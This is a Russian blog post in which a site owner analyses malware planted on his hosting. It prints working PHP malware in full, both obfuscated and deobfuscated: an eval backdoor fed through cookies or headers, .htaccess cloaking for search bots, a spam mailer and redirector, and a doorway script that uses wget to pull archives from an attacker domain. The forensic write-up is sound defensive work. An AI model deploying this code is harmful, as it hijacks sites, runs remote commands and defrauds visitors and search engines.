Всем привет, я вебмастер и меня взломали

Доброго времени суток Хабр,

Заголовок конечно же врёт, я не вебмастер. Точнее сказать, не могу зваться им после произошедшего. Я расскажу о том, как взломали мой хостинг и как я это событие проглядел, заметив лишь случайно, а также немного расследования. Надеюсь, мой опыт окажется полезным. Всем кому интересно, добро пожаловать под кат.

Как всё выяснилось

О взломе я узнал совершенно случайно, т.к. все сайты на хостинге работали, открывались и выглядели подобающе приличным страницам, без лишнего контента. Следует отметить, что до этого я никогда не пользовался Google Search Console, а только подключал Google Analytics. Но создав очередную страницу, я решил попробовать инструмент. И вот, Search Console подключен к сайту и пришло время посмотреть на что он способен.

Одна из функций консоли это Fetch as Google, т.е запуск бота гугла на страницах сайта, и я сразу же его пустил на главную сайта. И тут я ничего не понял… с браузера страница открывается, а бот пишет что страница не найдена. Что то тут не так, подумал я, но продолжал запускать бота, наивно полагая что бот гугла сломался.

Разбираемся в произошедшем

Так как Search Console не предоставляет подробной информации об ошибке (что очень печально, на мой взгляд), я воспользовался сервисом http://web-sniffer.net чтобы проэмулировать работу гуглбота и заодно проверить виден ли сайт с другой точки планеты. Задал сайт *******.**, который должен открывать единственный index.php файл, вбил капчу и получил эту самую страницу 404.

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /ХХХХХХХХХХ/bootlegger-limiter.php was not found on this server.</p> <p>Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache Server at *******.** Port 80</address> </body></html>

Какой ещё bootlegger-limiter.php подумал я и быстро подключился к хостингу. Дело в том, что сайт *******.** лежит в подкаталоге основного сайта (который в корне). И я действительно обнаружил в корне bootlegger-limiter.php. А бота перенаправил, судя по всему, Apache. Открыл .htaccess, а там добавлены следующие строки:

RewriteEngine on  RewriteCond %{ENV:REDIRECT_STATUS} 200 RewriteRule ^ - [L] RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR] RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing) RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

Иными словами поисковым ботам и людям, которые перешли на сайт с поисковых систем, показывали страницу обработанную в bootlegger-limiter.php.

Вот это поворот. Решил посмотреть ради интереса что им показывалось. Набрал в гугле «site: *******.**»:

Ок гугл, всё понятно. Меня слегка удивило, что бот гугла не проверяет разницу контентов полученных с HTTP заголовками бота и браузера chrome, например. Но может я неправ и это проверяется, поэтому в выдаче появилась надпись, что сайт возможно был взломан.

Вот таким нехитрым образом можно скомпрометировать сайт в поисковиках, а ничего не подозревающий владелец может этого и не заметить. Я не знаю как именно взломали хостинг, т.к. на нём не висят сайты использующие CMS. Единственный сайт с популярным фреймворком был на Yii, но судя по всему он тут не причём, т.к. по методу похоже что делалось всё автоматически, а упомянутый фреймворк сложно взломать не зная структуры сайта. Как мне кажется, пароль от моего аккаунта просто пробрутфорсили. Ниже я расскажу какие файлы мне подбросили и какую функцию они выполняли.

Разбор полёта червя

Итак, для начала список исполняемых файлов кукушки, когда они были подброшены и их содержание:

kfcgmxuu.php — 3 апреля 2016

<?php $catie ='v]falreE'; $greatly= 'eae';$formulation = '(';  $centralization = 'sSLuVSQ_V'; $gummy = 'a';$barrages = ')';$lawyer= ';]s]L'; $craw = '_'; $maisey ='yV]tdiVv'; $juliann='T'; $bridges= 'R'; $betoken= '$';$atheists='R';$eustacia = '^'; $bunting = 'HaSI';$hurleigh ='Rc';$lovingly =')n"th';  $cups = 'et'; $javelin= 'i';$lizard= '('; $chances = '=ej_i'; $leghorn= 'fVRcpr'; $finalized= '('; $expounded=')V'; $bounties='Y';  $bushwhack = 'c';$big= 's6t';$dragging ='('; $appeasable='r'; $frequencies = 'a'; $dolphins ='v_sie"'; $dressers='s$VET'; $heaved='[';$frederique= 'r'; $kettle= 'T'; $fortress ='nU'; $letting ='l';$entrusted='p$i)tE[[e'; $ketti='i'; $coarsest = 'S'; $ashely ='_oZC'; $avrom ='E'; $knower='Te)E:`';$bayonets = 'a)l($ibi';$keying = 'K';$availing =';';$karmen=':T';$ingredient= '[g'; $coincides = '_'; $eyesight= 'v)re';  $iterates ='r[)_c(E'; $dissident='lvek'; $discernibility ='m'; $inclination ='(vrs;_,gS';$characterizes ='e'; $contented= 'r'; $lorrayne= '?'; $archived='g';  $bellowing =';'; $deferrer= '=v(a$,e'; $indiana='fta';$krisiun= '$a$WbqUT'; $gardens= '$i"i_i)'; $evidenced = 'srH';$fruitfulness='"';$f='P'; $bylaw ='ad"v4_ve_';$coriss= '(ElspQ'; $cots= 'esImrvq';$lizard ='a';  $conceived ='y';$arabs=']eOX';$excretion='tu"u';$harmoniously ='r';$figured= ') ';$basful= 'vP(_'; $dapper ='o'; $asks = 'ocnes"';$indira ='t'; $jim ='?';  $coweringly = '$';$incompetent = 'o'; $bitternut = 'gr';$codes = 'd';$grasp='qnOe"$se'; $arachnids = 'VI)i(Q';$elucidate ='dQa'; $husband = $asks['1'] .$bitternut['1'] .$grasp['7'] . $elucidate['2'].$indira.$grasp['7'].$basful['3'] . $indiana[0].$excretion['3'] . $grasp[1] . $asks['1']. $indira. $arachnids['3'].$incompetent.  $grasp[1]; $iggy= $figured['1']; $aspirins= $husband($iggy, $grasp['7'] . $basful['0'] .$elucidate['2']. $coriss['2']. $arachnids['4']. $elucidate['2'] .$bitternut['1'] .$bitternut['1'] . $elucidate['2'] .$conceived. $basful['3'] . $coriss['4'] .$incompetent.$coriss['4'] .$arachnids['4']. $indiana[0]. $excretion['3'].$grasp[1].$asks['1'].$basful['3'] .$bitternut[0] . $grasp['7'].$indira .$basful['3'] .  $elucidate['2'] . $bitternut['1']. $bitternut[0] . $grasp['6'] .$arachnids['4']. $arachnids['2'] .$arachnids['2'] .$arachnids['2']. $bellowing);  $aspirins  ($indecomposable['1'],$bylaw['4'] , $arachnids['2'],$basful['1'],  $karmen['0'] ,  $big[1],$evidenced['2'], $coriss['4'] ,$arachnids['2'] ,$grasp['5'].  $arachnids['3'].$deferrer['0'] . $elucidate['2'] .$bitternut['1'].$bitternut['1'].$elucidate['2']. $conceived .$basful['3'].  $cots['3'] .$grasp['7'].$bitternut['1'] . $bitternut[0] .  $grasp['7'] . $arachnids['4'] .$grasp['5']. $basful['3'].$leghorn['2'] .$coriss['1'] . $elucidate['1']. $krisiun['6'] . $coriss['1'] .$inclination['8'] .$krisiun['7'] .$deferrer['5'] . $grasp['5'] . $basful['3'] .$ashely['3'].$grasp['2'] . $grasp['2']. $keying.$arachnids[1] . $coriss['1']. $deferrer['5'] . $grasp['5']. $basful['3']. $inclination['8']. $coriss['1'] . $leghorn['2'].$arachnids['0'].$coriss['1']. $leghorn['2'] .$arachnids['2']. $bellowing . $grasp['5'].$elucidate['2'] . $deferrer['0']. $arachnids['3'] . $grasp['6'] .  $grasp['6'] . $grasp['7'] .$indira .$arachnids['4'] .  $grasp['5'].$arachnids['3']. $iterates[1] .$grasp['4'].  $grasp['7'].$coriss['2'].  $basful['0']. $arachnids['3'].$basful['0'] . $grasp['6'] . $basful['0']. $grasp['0']. $grasp['4']. $arabs[0] . $arachnids['2'].$jim .$grasp['5']. $arachnids['3'] .$iterates[1]. $grasp['4'] .  $grasp['7'] . $coriss['2'].$basful['0'] .$arachnids['3'].$basful['0'].  $grasp['6'].  $basful['0'] . $grasp['0'] .  $grasp['4']. $arabs[0] . $karmen['0'] .$arachnids['4']. $arachnids['3'] . $grasp['6'] .$grasp['6'] .$grasp['7'].$indira. $arachnids['4'] . $grasp['5'] .  $arachnids['3'].$iterates[1].  $grasp['4'] . $evidenced['2']. $krisiun['7'] .  $krisiun['7'] . $basful['1'].  $basful['3'].$coriss['1'] . $lawyer['4'] . $arachnids['0'].$arachnids[1]. $arachnids['0'] .$inclination['8'] . $arachnids['0'] . $elucidate['1']. $grasp['4'] .  $arabs[0] .$arachnids['2']. $jim. $grasp['5'] . $arachnids['3']. $iterates[1].$grasp['4'] . $evidenced['2'].$krisiun['7'] .$krisiun['7'].$basful['1'] . $basful['3'] . $coriss['1'].$lawyer['4'] . $arachnids['0'].  $arachnids[1] .$arachnids['0']. $inclination['8'] .$arachnids['0'] .$elucidate['1'].$grasp['4'] .$arabs[0]. $karmen['0'] .$elucidate['0'] .  $arachnids['3']. $grasp['7'] .$arachnids['2'] . $bellowing. $grasp['7'] . $basful['0'] .$elucidate['2'] . $coriss['2']. $arachnids['4']. $grasp['6']. $indira. $bitternut['1'] . $bitternut['1']. $grasp['7'] .  $basful['0']. $arachnids['4'] . $krisiun['4'] .$elucidate['2'] . $grasp['6'] . $grasp['7']. $big[1].$bylaw['4'] .$basful['3']. $elucidate['0'] . $grasp['7']. $asks['1']. $incompetent .  $elucidate['0'] . $grasp['7'].  $arachnids['4'] .$grasp['6']. $indira.  $bitternut['1'] . $bitternut['1'] . $grasp['7'].$basful['0'].$arachnids['4']. $grasp['5'].$elucidate['2']. $arachnids['2'] .$arachnids['2'].$arachnids['2'] . $arachnids['2'].$bellowing );

.htaccess — 5 апреля 2016

RewriteEngine on  RewriteCond %{ENV:REDIRECT_STATUS} 200 RewriteRule ^ - [L] RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR] RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing) RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

bootlegger-limiter.php — 5 апреля 2016

<?php $mlksyl="\x63".chr(114)."e".chr(97).chr(116).chr(101)."_"."f".chr(117)."\x6e"."\x63".chr(116)."\x69"."\x6f"."\x6e";$ofanpm = $mlksyl('$a',strrev(';)a$(lave')); $ofanpm(strrev(';))"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"(edoced_46esab(lave'));?>

enthusiasms-raw.php — 9 октября 2016

<?php  function base64_url_decode($val) {      return base64_decode(strtr($val, '-_,', '+/='));  }  if(isset($_POST) and count($_POST) > 0){  	 if(isset($_POST["chk"])){  	     $val = array();  	     $val["res"] = 1;  	     print json_encode($val);  	 }else{  	     $post_data = array_values(array_map('stripslashes', $_POST));  	     $m_data = explode("|||", base64_url_decode(strrev($post_data[0])));  	     if(count($m_data) > 1){  	 	     $val = array();  	 	     if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){  	 	         $val["mail"] = 1;  	 	     } else{  	 	         $val["mail"] = 0;  	 	     }  	 	     print json_encode($val);  	     }      }  }    if(isset($_GET) and count($_GET) > 0){      $url = "";      $redic = array_values($_GET);      foreach(str_split(base64_url_decode($redic[0])) as $letter){              if(rand(1,3) == 1){                      $url .= $letter;              }else{                      $url .= $letter."'+'";              }      }  ?>  <html><head>  <meta http-equiv="content-type" content="text/html;charset=utf-8">  <title>Redirecting</title>  <script>  var r = '<?php echo $url;?>';  var _0x485b=["\x72\x65\x70\x6C\x61\x63\x65"];  </script>  </head>  <body onload="location[_0x485b[0]](r);">  Loading...  </body></html>  <?php } ?>

equaling-intangibles.php — 9 октября 2016

<?php  function base64_url_decode($val) {      return base64_decode(strtr($val, '-_,', '+/='));  }  if(isset($_POST) and count($_POST) > 0){  	 if(isset($_POST["chk"])){  	     $val = array();  	     $val["res"] = 1;  	     print json_encode($val);  	 }else{  	     $post_data = array_values(array_map('stripslashes', $_POST));  	     $m_data = explode("|||", base64_url_decode(strrev($post_data[0])));  	     if(count($m_data) > 1){  	 	     $val = array();  	 	     if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){  	 	         $val["mail"] = 1;  	 	     } else{  	 	         $val["mail"] = 0;  	 	     }  	 	     print json_encode($val);  	     }      }  }    if(isset($_GET) and count($_GET) > 0){      $url = "";      $redic = array_values($_GET);      foreach(str_split(base64_url_decode($redic[0])) as $letter){              if(rand(1,3) == 1){                      $url .= $letter;              }else{                      $url .= $letter."'+'";              }      }  ?>  <html><head>  <meta http-equiv="content-type" content="text/html;charset=utf-8">  <title>Redirecting</title>  <script>  var r = '<?php echo $url;?>';  var _0x485b=["\x72\x65\x70\x6C\x61\x63\x65"];  </script>  </head>  <body onload="location[_0x485b[0]](r);">  Loading...  </body></html>  <?php } ?>

Начнём с самых ранних файлов, которые попали на сервер в апреле (kfcgmxuu.php и bootlegger-limiter.php). Они разумеется обфусцированы. Поэтому я их привёл в читаемый вид и посмотрел что же они делают.

Самым первым появился kfcgmxuu.php, вот что он делает.

$i = array_merge($_REQUEST,$_COOKIE,$_SERVER); $a = isset($i["elvivsvq"])?$i["elvivsvq"]:(isset($i["HTTP_ELVIVSVQ"])?$i["HTTP_ELVIVSVQ"]:die); eval(strrev(base64_decode(strrev($a)));

На сайт в cookies, заголовках либо в аргументах с названием elvivsvq посылается закодированный при помощи MIME base64 и еще перевёрнутый 2 раза код и выполняется. После этого момента злоумышленник получает полный контроль над файловой системой хостинга к которой имеет доступ веб сервер. Это бэкдор, через который всё остальное и будет просачиваться.

Далее при помощи этого бэкдора редактируется .htaccess и добавляется bootlegger-limiter.php, а вот и он, деобфусцированный:

Показать код

<?php  set_time_limit(0);  function get_page_by_curl($url, $useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36") {     $ch = curl_init();     curl_setopt($ch, CURLOPT_URL, $url);     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);     curl_setopt($ch, CURLOPT_TIMEOUT, 30);     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);     curl_setopt($ch, CURLOPT_USERAGENT, $useragent);     $result = curl_exec($ch);     curl_close($ch);     return $result; }  $doorcontent = ""; $x = @$_POST["pppp_check"]; $md5pass = "e5e4570182820af0a183ce1520afe43b";  $host = @$_SERVER["HTTP_HOST"]; $uri = @$_SERVER["REQUEST_URI"]; $host = str_replace("www.", "", $host); $md5host = md5($host); $urx = $host . $uri; $md5urx = md5($urx);  if (function_exists('sys_get_temp_dir')) {     $tmppath = sys_get_temp_dir();     if (!is_dir($tmppath)) {         $tmppath = (dirname(__FILE__));     } } else {     $tmppath = (dirname(__FILE__)); }  $cdir = $tmppath . "/." . $md5host . "/"; $domain = "f.gghijacktest.com";  if ($x != "") {     $p = md5(base64_decode(@$_POST["p"]));     if ($p != $md5pass)         return;     $pa = @$_POST["pa"];      if (($x == "2") || ($x == "4")) {         echo "###UPDATING_FILES###\n";         if ($x == "2") {             $cmd = "cd $tmppath; rm -rf .$md5host";             echo shell_exec($cmd);         }         $cmd = "cd $tmppath; wget http://update.$domain/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";         if ($pa != "") {             $pa+=0;             $cmd = "cd $tmppath; wget http://update.$domain/arc/" . $md5host . "_" . $pa . ".tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";         }         echo shell_exec($cmd);         exit;     }     if ($x == "3") {         echo "###WORKED###\n";         exit;     } } else {     $curx = $cdir . $md5urx;     if (@file_exists($curx)) {         @list($IDpack, $mk, $doorcontent, $pdf, $contenttype) = @explode("|||", @file_get_contents($curx));         $doorcontent = @base64_decode($doorcontent);          $bot = 0;         $se = 0;         $mobile = 0;         if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT"]))             $bot = 1;         if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT"]))             $mobile = 1;         if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER"]))             $se = 1;         if ($bot) {             $pdf+=0;             if ($pdf == 1) {                 header("Content-Type: application/pdf");             }             if ($pdf == 2) {                 header("Content-Type: image/png");             }             if ($pdf == 3) {                 header("Content-Type: text/xml");             }             if ($pdf == 4) {                 $contenttype = @base64_decode($contenttype);                 $types = explode("\n", $contenttype);                 foreach ($types as $val) {                     $val = trim($val);                     if ($val != "")                         header($val);                 }             }             echo $doorcontent;             exit;         }         if ($se) {             echo get_page_by_curl("http://$domain/lp.php?ip=" . $IDpack . "&mk=" . rawurlencode($mk) . "&d=" . $md5host . "&u=" . $md5urx . "&addr=" . $_SERVER["REMOTE_ADDR"], @$_SERVER["HTTP_USER_AGENT"]);             exit;         }          header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");         echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";         echo '<html><head>' . "\n";         echo '<title>404 Not Found</title>' . "\n";         echo '</head><body>' . "\n";         echo '<h1>Not Found</h1>' . "\n";         echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";         echo '<hr>' . "\n";         echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";         echo '</body></html>';         exit;     } else {           $crurl = "http://" . @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];         $buf = get_page_by_curl($crurl);          $curx = $cdir . "fff.sess";         if (@file_exists($curx)) {             $links = @file($curx, FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES);             $c = @count($links) - 1;             shuffle($links);             if ($c > 20)                 $c = 20;             $regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";             if (preg_match_all("/$regexp/siU", $buf, $matches)) {                 $zval = $matches[0];                 shuffle($zval);                 foreach ($zval as $val) {                     if ($c < 0)                         break;                     list($l, $anchor) = explode("|||", trim($links[$c]));                     $new = '<a href="' . $l . '">' . $anchor . '</a>';                     $buf = str_ireplace($val, $new, $buf);                     $c--;                 }             }         }         echo $buf;     } }

